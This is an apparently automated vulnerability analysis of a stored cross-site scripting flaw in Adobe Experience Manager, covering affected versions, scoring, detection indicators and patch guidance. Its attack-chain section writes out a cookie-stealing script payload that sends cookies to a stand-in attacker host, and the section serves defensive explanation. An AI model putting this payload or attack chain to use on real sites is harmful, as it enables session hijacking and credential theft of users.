CVE-2026-75740: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-75740 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged authenticated attacker to inject malicious scripts into vulnerable form fields. When a victim browses to a page containing the affected field, the injected JavaScript executes in their browser. Affected products include Adobe Experience Manager as a Cloud Service (versions up to and including 2026.7.0), AEM 6.5 LTS (up to SP2), and AEM 6.5 (up to 6.5.24). The vulnerability was disclosed on September 8, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can submit malicious JavaScript payloads through vulnerable AEM form fields; the application fails to properly sanitize or encode this input before storing and subsequently rendering it to other users. Exploitation requires network access, low privileges, and user interaction (a victim must visit the affected page), with scope change indicating the injected script can affect resources beyond the vulnerable component's security boundary (Adobe Advisory, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any users who view the compromised page, enabling session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and redirection to malicious sites. Confidentiality and integrity impacts are rated low, and there is no direct availability impact. Because the scope is changed, the injected script can affect browser-side resources beyond the AEM application itself, potentially impacting other web applications sharing the same browser session (Adobe Advisory, GitHub Advisory).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Adobe Advisory). The EPSS score is approximately 0.27%, placing it in the 20th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD's SSVC assessment classifies exploitation as "none" at this time. No threat actor attribution has been reported.

1. Reconnaissance: Identify an Adobe Experience Manager instance running a vulnerable version (AEM Cloud Service ≤ 2026.7.0, AEM 6.5 LTS ≤ SP2, or AEM 6.5 ≤ 6.5.24) and obtain low-privileged credentials (e.g., a standard author or contributor account).
2. Identify vulnerable form fields: Log in to the AEM instance and browse the content authoring interface to locate form fields that accept and store user-supplied input without adequate sanitization.
3. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant) into the vulnerable form field and save the content.
4. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to browse to the page containing the injected content. The malicious script executes automatically in their browser.
5. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, then use them to impersonate the victim or escalate privileges within the AEM environment (Adobe Advisory, GitHub Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Logs: AEM error or audit logs recording unexpected content modifications by low-privileged accounts, particularly to pages accessible by administrators.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Stored content nodes in the AEM JCR repository containing raw HTML script tags or JavaScript event attributes in fields that should only contain plain text or sanitized markup.
• Process/Browser: Unexpected redirects or pop-ups experienced by AEM users when navigating authored content pages.

Adobe has released patches addressing this vulnerability: update AEM as a Cloud Service to version 2026.8.0 or later, AEM 6.5 LTS to SP3 or later, and AEM 6.5 to version 6.5.25.0 or later (Adobe Advisory). As interim mitigations, organizations should implement strict Content Security Policy (CSP) headers to restrict script execution, validate and sanitize all user inputs on form fields server-side, and restrict form field modification privileges to trusted administrators only. Monitoring AEM logs for suspicious form submissions or unexpected content modifications is also recommended.

The vulnerability was covered in CIS's advisory on multiple Adobe product vulnerabilities released in September 2026, noting the potential for arbitrary code execution across the Adobe product suite (CIS Advisory). Tenable published detection plugins for the vulnerability, and security aggregators such as BeyondMachines and Offseq Radar tracked it as part of Adobe's September 2026 patch cycle. No significant independent researcher commentary or social media discussion has been identified beyond routine patch-cycle coverage.